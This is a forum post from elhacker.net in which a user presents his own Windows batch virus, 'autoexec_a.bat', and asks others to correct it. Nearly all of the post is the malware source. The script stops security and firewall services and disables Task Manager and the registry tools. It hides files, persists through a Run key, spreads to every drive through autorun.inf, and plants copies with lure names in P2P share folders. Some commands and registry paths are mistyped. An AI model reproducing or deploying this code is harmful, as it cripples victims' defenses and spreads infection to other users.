elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: 1 [2]
11  Programación / Scripting / virus autoexec_a.bat en: 3 Febrero 2011, 22:50 pm
 me gusta la programacion en batch y en visual besic script y un poco de seguridad informatica. aca les dejo una de mis creaciones espero que lo corrijan si ven un error
su amigo W4rR3d  - AAHH. San Martin- Av. maria galan - Piura -Peru
este virus informatico se llama autoexec_a.bat, esta creado en batch

Código
  1. @echo off
  2. :: este virus fue creado por hacked by W4rR3d
  3. :: este virus esta dedicado a la comunidad hacker piura- peru
  4. msg * hacked by -={W4rR3d}=-
  5. Set inic= %programfiles%
  6. tasskill /im explorer.exe /f>nul 2>&1 || taskill explorer>nul 2>&1
  7. net stop "Security Center"
  8. net stop "centro de seguridad"
  9. net stop "SharedAccess"
  10. reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  11. reg add "HKCUSoftwareMicrosoftWindowsCurrentversionPoliciesSystem" /v DisableTaskMgr /t reg_dword /d 1 /f
  12. reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v DisableRegistryTools /t reg_dword /d 1 /f
  13. reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t reg_dword /d 1 /f
  14. reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v Hidden /t REG_DWORD /d 2 /f
  15. reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v HideFileExt /t REG_DWORD /d 1 /f
  16. reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
  17. for /F %%- in (MSMemoticon,PhotoshopCS4,FreeXXXPhotos,Office2009,VideosCaidasHumor,videosporn,wallpapers,wormgenerator) do (call :p2prop %%-)
  18. copy /y "%0" "%homedrive%\autoexec_a.bat">nul 2>&1
  19. reg add hklm\software\microsoft\windows\currentversion\run /v systemwar /t reg_sz /d %homedrive%\autoexec_a.bat /f
  20. echo.[Autorun] >> %homedrive%\Autorun.inf
  21. echo.label=Pendrive >> %homedrive%\Autorun.inf
  22. echo.action=Abrir Pendrive >> %homedrive%\Autorun.inf
  23. echo.shellexecute="/autoexec_a.bat" >> %homedrive%\Autorun.inf
  24. for %%# in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
  25. copy /Y "%homedrive%\autorun.inf" "%%#:\autorun.inf">nul 2>&1
  26. copy /Y "%0" "%%#:\autoexec_a.bat">nul 2>&1
  27. attrib +R +S +H "%%#:\autorun.inf">nul 2>&1
  28. attrib +R +S +H "%%#:\autoexec_a.bat">nul 2>&1
  29. )
  30. (echo.^<HTML^>
  31. echo.%^<HEAD^>
  32. echo.^<title^>HACKED BY W4rR3d^</title^>
  33. echo.^</HEAD^>
  34. echo.^<BODY^>
  35. echo.^<H1^>         ~~~HACKED BY W4rR3d~~~
  36. echo.^</BODY^>
  37. echo.^</HTML^>)>%homedrive%\IDEAS.HTML
  38. REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ddjsys /t REG_SZ /d %homedrive%\IDEAS.HTML
  39. )
  40. start %homedrive%\IDEAS.HTML
  41. :p2prop
  42. set var=%1
  43. copy /y "%0" "%inic%\Morpheus\My Shared Folder\%var%.bat">nul 2>&1
  44. copy /y "%0" "%inic%\ICQ\shared files\%var%.bat">nul 2>&1
  45. copy /y "%0" "%inic%\KaZaA\My Shared Folder\%var%.bat">nul 2>&1
  46. copy /y "%0" "%inic%\Shareaza\Downloads\%var%.bat">nul 2>&1
  47. copy /y "%0" "%inic%\EDONKEY2000\incoming\%var%.bat">nul 2>&1
  48. copy /y "%0" "%inic%\eMule\Incoming\%var%.bat">nul 2>&1
  49. copy /y "%0" "%inic%\Filetopia3\Files\%var%.bat">nul 2>&1
  50. copy /y "%0" "%inic%\XoloX\Downloads\%var%.bat">nul 2>&1
  51. copy /y "%0" "%inic%\Gnucleus\Downloads\%var%.bat">nul 2>&1
  52. copy /y "%0" "%inic%\LimeWire\Shared\%var%.bat">nul 2>&1
  53. copy /y "%0" "%inic%\Grokster\My Grokster\%var%.bat">nul 2>&1
  54. copy /y "%0" "%inic%\Overnet\incoming\%var%.bat">nul 2>&1
  55. copy /y "%0" "%appdata%\Ares\My Shared Folder\%var%.bat">nul 2>&1
  56. copy /y "%0" "%inic%\Swaptor\Download\%var%.bat">nul 2>&1
  57. copy /y "%0" "%inic%\WinMX\My Shared Folder\%var%.bat">nul 2>&1
  58. copy /y "%0" "%inic%\Tesla\Files\%var%.bat">nul 2>&1
  59. copy /y "%0" "%inic%\BearShare\Shared\%var%.bat">nul 2>&1
  60. copy /y "%0" "%inic%\Rapigator\Share\%var%.bat">nul 2>&1
  61. copy /y "%0" "%inic%\KaZaA Lite\My Shared Folder\%var%.bat">nul 2>&1
  62. copy /y "%0" "%inic%\KMD\My Shared Folder\%var%.bat">nul 2>&1
  63. copy /y "%0" "%inic%\appleJuice\incoming\%var%.bat">nul 2>&1
  64. copy /y "%0" "%programfiles%\Direct Connect\Received Files\%var%.bat">nul 2>&1
  65. goto:eof
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines